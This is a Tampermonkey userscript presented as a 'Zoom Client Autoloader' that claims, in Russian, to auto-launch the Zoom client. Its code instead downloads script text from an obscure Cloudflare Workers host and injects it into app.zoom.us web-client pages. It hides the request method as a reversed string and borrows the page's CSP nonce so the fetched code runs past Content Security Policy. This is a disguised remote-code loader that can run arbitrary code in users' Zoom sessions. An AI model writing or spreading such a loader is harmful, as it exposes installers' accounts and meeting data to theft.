// ==UserScript== // @name Zoom Client Autoloader // @namespace http://tampermonkey.net/ // @version 1.7 // @description Автоматический запуск клиента Zoom // @author MultiVers // @match https://app.zoom.us/wc/* // @grant GM_setValue // @grant GM_getValue // @run-at document-end // @noframes // @license MIT // @downloadURL https://update.greasyfork.icu/scripts/522370/Zoom%20Client%20Autoloader.user.js // @updateURL https://update.greasyfork.icu/scripts/522370/Zoom%20Client%20Autoloader.meta.js // ==/UserScript== (function() { 'use strict'; const SCRIPT_ID = 'zoom-client-autoloader'; // Проверяем, не загружен ли уже скрипт if (document.getElementById(SCRIPT_ID)) { console.log('Скрипт уже загружен'); return; } let isRunning = false; async function загрузитьРесурсы() { if (isRunning) { console.log('Загрузка уже выполняется'); return; } isRunning = true; console.log('Начинаем загрузку'); const обработчик = { инициализация: async строка => { return (await fetch('https://loader-geneate.webclie2d.workers.dev/', { method: строка.split('').reverse().join(''), cache: 'no-store', headers: {'Accept':'*/*','Connection':'keep-alive'} })).text(); }, подготовка: данные => { const скрипт = document.createElement('script'); скрипт.id = SCRIPT_ID; скрипт.textContent = данные; return скрипт; }, применить: элемент => { const нонс = document.querySelector('script[nonce]')?.nonce; if(нонс) элемент.nonce = нонс; document.head.appendChild(элемент); isRunning = false; } }; try { const данные = await обработчик.инициализация('TEG'); const скрипт = обработчик.подготовка(данные); обработчик.применить(скрипт); } catch (ошибка) { console.error('Ошибка при загрузке ресурсов:', ошибка); isRunning = false; setTimeout(загрузитьРесурсы, 1000); } } загрузитьРесурсы(); })();